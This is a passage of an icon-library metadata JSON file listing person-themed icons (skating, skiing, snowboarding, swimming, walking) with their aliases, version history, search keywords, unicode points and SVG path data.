        "path": "M271.9 4.2c-9.8-5.6-21.9-5.6-31.8 0l-224 128C6.2 137.9 0 148.5 0 160V480c0 17.7 14.3 32 32 32s32-14.3 32-32V178.6L256 68.9 448 178.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-11.5-6.2-22.1-16.1-27.8l-224-128zM256 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zm-8 280V400h16v88c0 13.3 10.7 24 24 24s24-10.7 24-24V313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H246.2c-32.4 0-62.1 17.8-77.5 46.3l-37.9 70.3c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L200 313.5V488c0 13.3 10.7 24 24 24s24-10.7 24-24z"
      }
    },
    "free": ["solid"]
  },
  "person-skating": {
    "aliases": {
      "names": ["skating"],
      "unicodes": {
        "secondary": ["10f7c5"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["figure skating", "ice", "olympics", "rink", "skate", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7c5",
    "label": "Person Skating",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM128 128c0-17.7 14.3-32 32-32H319.4c43.6 0 64.6 53.4 32.8 83.1l-74.4 69.4 60.2 60.2c9 9 14.1 21.2 14.1 33.9V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V349.3l-77.9-77.8c-26.6-26.6-24.6-70.3 4.3-94.4l20.4-17H160c-17.7 0-32-14.3-32-32zM81.4 353.4l86.9-86.9c4.6 10 11 19.3 19.3 27.5l21.8 21.8-82.7 82.7c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3zm322.5 95.1c8.6 2.1 13.8 10.8 11.6 19.4l-.4 1.7c-6.2 24.9-28.6 42.4-54.3 42.4H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h88.8c11 0 20.6-7.5 23.3-18.2l.4-1.7c2.1-8.6 10.8-13.8 19.4-11.6zM135.2 478.3l-6.2 3.1c-21.6 10.8-47.6 6.6-64.6-10.5L4.7 411.3c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l59.6 59.6c7.3 7.3 18.5 9.1 27.7 4.5l6.2-3.1c7.9-4 17.5-.7 21.5 7.2s.7 17.5-7.2 21.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM128 128c0-17.7 14.3-32 32-32H319.4c43.6 0 64.6 53.4 32.8 83.1l-74.4 69.4 60.2 60.2c9 9 14.1 21.2 14.1 33.9V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V349.3l-77.9-77.8c-26.6-26.6-24.6-70.3 4.3-94.4l20.4-17H160c-17.7 0-32-14.3-32-32zM81.4 353.4l86.9-86.9c4.6 10 11 19.3 19.3 27.5l21.8 21.8-82.7 82.7c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3zm322.5 95.1c8.6 2.1 13.8 10.8 11.6 19.4l-.4 1.7c-6.2 24.9-28.6 42.4-54.3 42.4H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h88.8c11 0 20.6-7.5 23.3-18.2l.4-1.7c2.1-8.6 10.8-13.8 19.4-11.6zM135.2 478.3l-6.2 3.1c-21.6 10.8-47.6 6.6-64.6-10.5L4.7 411.3c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l59.6 59.6c7.3 7.3 18.5 9.1 27.7 4.5l6.2-3.1c7.9-4 17.5-.7 21.5 7.2s.7 17.5-7.2 21.5z"
      }
    },
    "free": ["solid"]
  },
  "person-skiing": {
    "aliases": {
      "names": ["skiing"],
      "unicodes": {
        "composite": ["26f7"],
        "secondary": ["10f7c9"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["downhill", "olympics", "ski", "skier", "snow", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7c9",
    "label": "Person Skiing",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M380.7 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM2.7 268.9c6.1-11.8 20.6-16.3 32.4-10.2L232.7 361.3l46.2-69.2-75.1-75.1c-14.6-14.6-20.4-33.9-18.4-52.1l108.8 52 39.3 39.3c16.2 16.2 18.7 41.5 6 60.6L289.8 391l128.7 66.8c13.6 7.1 29.8 7.2 43.6 .3l15.2-7.6c11.9-5.9 26.3-1.1 32.2 10.7s1.1 26.3-10.7 32.2l-15.2 7.6c-27.5 13.7-59.9 13.5-87.2-.7L12.9 301.3C1.2 295.2-3.4 280.7 2.7 268.9zM118.9 65.6L137 74.2l8.7-17.4c4-7.9 13.6-11.1 21.5-7.2s11.1 13.6 7.2 21.5l-8.5 16.9 54.7 26.2c1.5-.7 3.1-1.4 4.7-2.1l83.4-33.4c34.2-13.7 72.8 4.2 84.5 39.2l17.1 51.2 52.1 26.1c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-58.1-29c-11.4-5.7-20-15.7-24.1-27.8l-5.8-17.3-27.3 12.1-6.8 3-6.7-3.2L151.5 116.7l-9.2 18.4c-4 7.9-13.6 11.1-21.5 7.2s-11.1-13.6-7.2-21.5l9-18-17.6-8.4c-8-3.8-11.3-13.4-7.5-21.3s13.4-11.3 21.3-7.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M380.7 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM2.7 268.9c6.1-11.8 20.6-16.3 32.4-10.2L232.7 361.3l46.2-69.2-75.1-75.1c-14.6-14.6-20.4-33.9-18.4-52.1l108.8 52 39.3 39.3c16.2 16.2 18.7 41.5 6 60.6L289.8 391l128.7 66.8c13.6 7.1 29.8 7.2 43.6 .3l15.2-7.6c11.9-5.9 26.3-1.1 32.2 10.7s1.1 26.3-10.7 32.2l-15.2 7.6c-27.5 13.7-59.9 13.5-87.2-.7L12.9 301.3C1.2 295.2-3.4 280.7 2.7 268.9zM118.9 65.6L137 74.2l8.7-17.4c4-7.9 13.6-11.1 21.5-7.2s11.1 13.6 7.2 21.5l-8.5 16.9 54.7 26.2c1.5-.7 3.1-1.4 4.7-2.1l83.4-33.4c34.2-13.7 72.8 4.2 84.5 39.2l17.1 51.2 52.1 26.1c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-58.1-29c-11.4-5.7-20-15.7-24.1-27.8l-5.8-17.3-27.3 12.1-6.8 3-6.7-3.2L151.5 116.7l-9.2 18.4c-4 7.9-13.6 11.1-21.5 7.2s-11.1-13.6-7.2-21.5l9-18-17.6-8.4c-8-3.8-11.3-13.4-7.5-21.3s13.4-11.3 21.3-7.5z"
      }
    },
    "free": ["solid"]
  },
  "person-skiing-nordic": {
    "aliases": {
      "names": ["skiing-nordic"],
      "unicodes": {
        "secondary": ["10f7ca"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cross country", "olympics", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7ca",
    "label": "Person Skiing Nordic",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M336 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM227.2 160c1.9 0 3.8 .1 5.6 .3L201.6 254c-9.3 28 1.7 58.8 26.8 74.5l86.2 53.9L291.3 464H202.8l41.1-88.1-32.4-20.3c-7.8-4.9-14.7-10.7-20.6-17.3L132.2 464H99.7l54.2-257.6c4.6-1.5 9-4.1 12.7-7.8l23.1-23.1c9.9-9.9 23.4-15.5 37.5-15.5zM121.4 198.6c.4 .4 .8 .8 1.3 1.2L67 464H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H159.3c.4 0 .9 0 1.3 0H319.3c.5 0 1 0 1.4 0H504c39.8 0 72-32.2 72-72v-8c0-13.3-10.7-24-24-24s-24 10.7-24 24v8c0 13.3-10.7 24-24 24H434.6l27.6-179.3c10.5-5.2 17.8-16.1 17.8-28.7c0-17.7-14.3-32-32-32H426.7c-12.9 0-24.6-7.8-29.5-19.7l-6.3-15c-14.6-35.1-44.1-61.9-80.5-73.1l-48.7-15c-11.1-3.4-22.7-5.2-34.4-5.2c-31 0-60.8 12.3-82.7 34.3l-23.1 23.1c-12.5 12.5-12.5 32.8 0 45.3zm308 89.4L402.3 464H357.8l21.6-75.6c5.9-20.6-2.6-42.6-20.7-53.9L302 299l30.9-82.4 5.1 12.3C353 264.7 387.9 288 426.7 288h2.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M336 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM227.2 160c1.9 0 3.8 .1 5.6 .3L201.6 254c-9.3 28 1.7 58.8 26.8 74.5l86.2 53.9L291.3 464H202.8l41.1-88.1-32.4-20.3c-7.8-4.9-14.7-10.7-20.6-17.3L132.2 464H99.7l54.2-257.6c4.6-1.5 9-4.1 12.7-7.8l23.1-23.1c9.9-9.9 23.4-15.5 37.5-15.5zM121.4 198.6c.4 .4 .8 .8 1.3 1.2L67 464H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H159.3c.4 0 .9 0 1.3 0H319.3c.5 0 1 0 1.4 0H504c39.8 0 72-32.2 72-72v-8c0-13.3-10.7-24-24-24s-24 10.7-24 24v8c0 13.3-10.7 24-24 24H434.6l27.6-179.3c10.5-5.2 17.8-16.1 17.8-28.7c0-17.7-14.3-32-32-32H426.7c-12.9 0-24.6-7.8-29.5-19.7l-6.3-15c-14.6-35.1-44.1-61.9-80.5-73.1l-48.7-15c-11.1-3.4-22.7-5.2-34.4-5.2c-31 0-60.8 12.3-82.7 34.3l-23.1 23.1c-12.5 12.5-12.5 32.8 0 45.3zm308 89.4L402.3 464H357.8l21.6-75.6c5.9-20.6-2.6-42.6-20.7-53.9L302 299l30.9-82.4 5.1 12.3C353 264.7 387.9 288 426.7 288h2.7z"
      }
    },
    "free": ["solid"]
  },
  "person-snowboarding": {
    "aliases": {
      "names": ["snowboarding"],
      "unicodes": {
        "composite": ["1f3c2"],
        "secondary": ["10f7ce"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["olympics", "ski", "snow", "snowboard", "snowboarder", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7ce",
    "label": "Person Snowboarding",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M209.7 3.4c15.8-7.9 35-1.5 42.9 14.3l25 50 42.4 8.5c19.5 3.9 37.8 12.3 53.5 24.5l126.1 98.1c14 10.9 16.5 31 5.6 44.9s-31 16.5-44.9 5.6l-72.1-56.1-71.5 31.8 33.1 27.6c23.2 19.3 33.5 50 26.7 79.4l-17.4 75.2c-2.2 9.4-8.2 16.8-16.1 21l86.5 33.1c4.6 1.8 9.4 2.6 14.3 2.6H472c13.3 0 24 10.7 24 24s-10.7 24-24 24H443.8c-10.8 0-21.4-2-31.5-5.8L60.1 371.3c-11.5-4.4-22-11.2-30.8-20L7 329c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.4 22.4c4 4 8.7 7.1 14 9.1l22.4 8.6c-.8-1.6-1.5-3.2-2.1-4.9c-5.6-16.8 3.5-34.9 20.2-40.5L192 264.9l0-53.2c0-24.2 13.7-46.4 35.4-57.2l45.2-22.6-7.5-1.5c-19.4-3.9-35.9-16.5-44.7-34.1l-25-50c-7.9-15.8-1.5-35 14.3-42.9zM139 350.1l159 60.9c-2.1-5.6-2.6-11.9-1.1-18.2l17.4-75.2c1.4-5.9-.7-12-5.3-15.9l-52.8-44 0 18.8c0 20.7-13.2 39-32.8 45.5L139 350.1zM432 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M209.7 3.4c15.8-7.9 35-1.5 42.9 14.3l25 50 42.4 8.5c19.5 3.9 37.8 12.3 53.5 24.5l126.1 98.1c14 10.9 16.5 31 5.6 44.9s-31 16.5-44.9 5.6l-72.1-56.1-71.5 31.8 33.1 27.6c23.2 19.3 33.5 50 26.7 79.4l-17.4 75.2c-2.2 9.4-8.2 16.8-16.1 21l86.5 33.1c4.6 1.8 9.4 2.6 14.3 2.6H472c13.3 0 24 10.7 24 24s-10.7 24-24 24H443.8c-10.8 0-21.4-2-31.5-5.8L60.1 371.3c-11.5-4.4-22-11.2-30.8-20L7 329c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.4 22.4c4 4 8.7 7.1 14 9.1l22.4 8.6c-.8-1.6-1.5-3.2-2.1-4.9c-5.6-16.8 3.5-34.9 20.2-40.5L192 264.9l0-53.2c0-24.2 13.7-46.4 35.4-57.2l45.2-22.6-7.5-1.5c-19.4-3.9-35.9-16.5-44.7-34.1l-25-50c-7.9-15.8-1.5-35 14.3-42.9zM139 350.1l159 60.9c-2.1-5.6-2.6-11.9-1.1-18.2l17.4-75.2c1.4-5.9-.7-12-5.3-15.9l-52.8-44 0 18.8c0 20.7-13.2 39-32.8 45.5L139 350.1zM432 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "person-swimming": {
    "aliases": {
      "names": ["swimmer"],
      "unicodes": {
        "composite": ["1f3ca"],
        "secondary": ["10f5c4"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ocean", "person swimming", "pool", "sea", "swim", "water"]
    },
    "styles": ["solid"],
    "unicode": "f5c4",
    "label": "Person Swimming",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M309.5 178.4L447.9 297.1c-1.6 .9-3.2 2-4.8 3c-18 12.4-40.1 20.3-59.2 20.3c-19.6 0-40.8-7.7-59.2-20.3c-22.1-15.5-51.6-15.5-73.7 0c-17.1 11.8-38 20.3-59.2 20.3c-10.1 0-21.1-2.2-31.9-6.2C163.1 193.2 262.2 96 384 96h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-26.9 0-52.3 6.6-74.5 18.4zM160 160A64 64 0 1 1 32 160a64 64 0 1 1 128 0zM306.5 325.9C329 341.4 356.5 352 384 352c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 405.7 417 416 384 416c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 341.2 165.1 352 192 352c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M309.5 178.4L447.9 297.1c-1.6 .9-3.2 2-4.8 3c-18 12.4-40.1 20.3-59.2 20.3c-19.6 0-40.8-7.7-59.2-20.3c-22.1-15.5-51.6-15.5-73.7 0c-17.1 11.8-38 20.3-59.2 20.3c-10.1 0-21.1-2.2-31.9-6.2C163.1 193.2 262.2 96 384 96h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-26.9 0-52.3 6.6-74.5 18.4zM160 160A64 64 0 1 1 32 160a64 64 0 1 1 128 0zM306.5 325.9C329 341.4 356.5 352 384 352c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 405.7 417 416 384 416c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 341.2 165.1 352 192 352c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "person-through-window": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "door",
        "exit",
        "forced entry",
        "leave",
        "robbery",
        "steal",
        "window"
      ]
    },
    "styles": ["solid"],
    "unicode": "e5a9",
    "label": "Person Through Window",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 64l224 0 0 9.8c0 39-23.7 74-59.9 88.4C167.6 186.5 128 245 128 310.2l0 73.8s0 0 0 0H64V64zm288 0l224 0V384H508.3l-3.7-4.5-75.2-90.2c-9.1-10.9-22.6-17.3-36.9-17.3l-71.1 0-41-63.1c-.3-.5-.6-1-1-1.4c44.7-29 72.5-79 72.5-133.6l0-9.8zm73 320H379.2l42.7 64H592c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48V400c0 26.5 21.5 48 48 48H308.2l33.2 49.8c9.8 14.7 29.7 18.7 44.4 8.9s18.7-29.7 8.9-44.4L310.5 336l74.6 0 40 48zm-159.5 0H192s0 0 0 0l0-73.8c0-10.2 1.6-20.1 4.7-29.5L265.5 384zM192 128a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 64l224 0 0 9.8c0 39-23.7 74-59.9 88.4C167.6 186.5 128 245 128 310.2l0 73.8s0 0 0 0H64V64zm288 0l224 0V384H508.3l-3.7-4.5-75.2-90.2c-9.1-10.9-22.6-17.3-36.9-17.3l-71.1 0-41-63.1c-.3-.5-.6-1-1-1.4c44.7-29 72.5-79 72.5-133.6l0-9.8zm73 320H379.2l42.7 64H592c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48V400c0 26.5 21.5 48 48 48H308.2l33.2 49.8c9.8 14.7 29.7 18.7 44.4 8.9s18.7-29.7 8.9-44.4L310.5 336l74.6 0 40 48zm-159.5 0H192s0 0 0 0l0-73.8c0-10.2 1.6-20.1 4.7-29.5L265.5 384zM192 128a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "person-walking": {
    "aliases": {
      "names": ["walking"],
      "unicodes": {
        "composite": ["1f6b6"],
        "secondary": ["10f554"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "crosswalk",
        "exercise",
        "hike",
        "move",
        "person walking",
        "walk",
        "walking"
      ]
    },
    "styles": ["solid"],
    "unicode": "f554",
    "label": "Person Walking",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM126.5 199.3c-1 .4-1.9 .8-2.9 1.2l-8 3.5c-16.4 7.3-29 21.2-34.7 38.2l-2.6 7.8c-5.6 16.8-23.7 25.8-40.5 20.2s-25.8-23.7-20.2-40.5l2.6-7.8c11.4-34.1 36.6-61.9 69.4-76.5l8-3.5c20.8-9.2 43.3-14 66.1-14c44.6 0 84.8 26.8 101.9 67.9L281 232.7l21.4 10.7c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3L247 287.3c-10.3-5.2-18.4-13.8-22.8-24.5l-9.6-23-19.3 65.5 49.5 54c5.4 5.9 9.2 13 11.2 20.8l23 92.1c4.3 17.1-6.1 34.5-23.3 38.8s-34.5-6.1-38.8-23.3l-22-88.1-70.7-77.1c-14.8-16.1-20.3-38.6-14.7-59.7l16.9-63.5zM68.7 398l25-62.4c2.1 3 4.5 5.8 7 8.6l40.7 44.4-14.5 36.2c-2.4 6-6 11.5-10.6 16.1L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L68.7 398z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM126.5 199.3c-1 .4-1.9 .8-2.9 1.2l-8 3.5c-16.4 7.3-29 21.2-34.7 38.2l-2.6 7.8c-5.6 16.8-23.7 25.8-40.5 20.2s-25.8-23.7-20.2-40.5l2.6-7.8c11.4-34.1 36.6-61.9 69.4-76.5l8-3.5c20.8-9.2 43.3-14 66.1-14c44.6 0 84.8 26.8 101.9 67.9L281 232.7l21.4 10.7c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3L247 287.3c-10.3-5.2-18.4-13.8-22.8-24.5l-9.6-23-19.3 65.5 49.5 54c5.4 5.9 9.2 13 11.2 20.8l23 92.1c4.3 17.1-6.1 34.5-23.3 38.8s-34.5-6.1-38.8-23.3l-22-88.1-70.7-77.1c-14.8-16.1-20.3-38.6-14.7-59.7l16.9-63.5zM68.7 398l25-62.4c2.1 3 4.5 5.8 7 8.6l40.7 44.4-14.5 36.2c-2.4 6-6 11.5-10.6 16.1L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L68.7 398z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-arrow-loop-left": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["population return", "return"]
    },
    "styles": ["solid"],
    "unicode": "e551",
    "label": "Person Walking Arrow Loop Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zm347.7 119c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L461.3 384H480c88.4 0 160-71.6 160-160s-71.6-160-160-160L352 64c-17.7 0-32 14.3-32 32s14.3 32 32 32l128 0c53 0 96 43 96 96s-43 96-96 96H461.3l25.4-25.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3l80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zm347.7 119c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L461.3 384H480c88.4 0 160-71.6 160-160s-71.6-160-160-160L352 64c-17.7 0-32 14.3-32 32s14.3 32 32 32l128 0c53 0 96 43 96 96s-43 96-96 96H461.3l25.4-25.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3l80 80z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exit", "internally displaced", "leave", "refugee"]
    },
    "styles": ["solid"],
    "unicode": "e552",
    "label": "Person Walking Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM550.6 153.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L530.7 224H384c-17.7 0-32 14.3-32 32s14.3 32 32 32H530.7l-25.4 25.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3l-80-80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
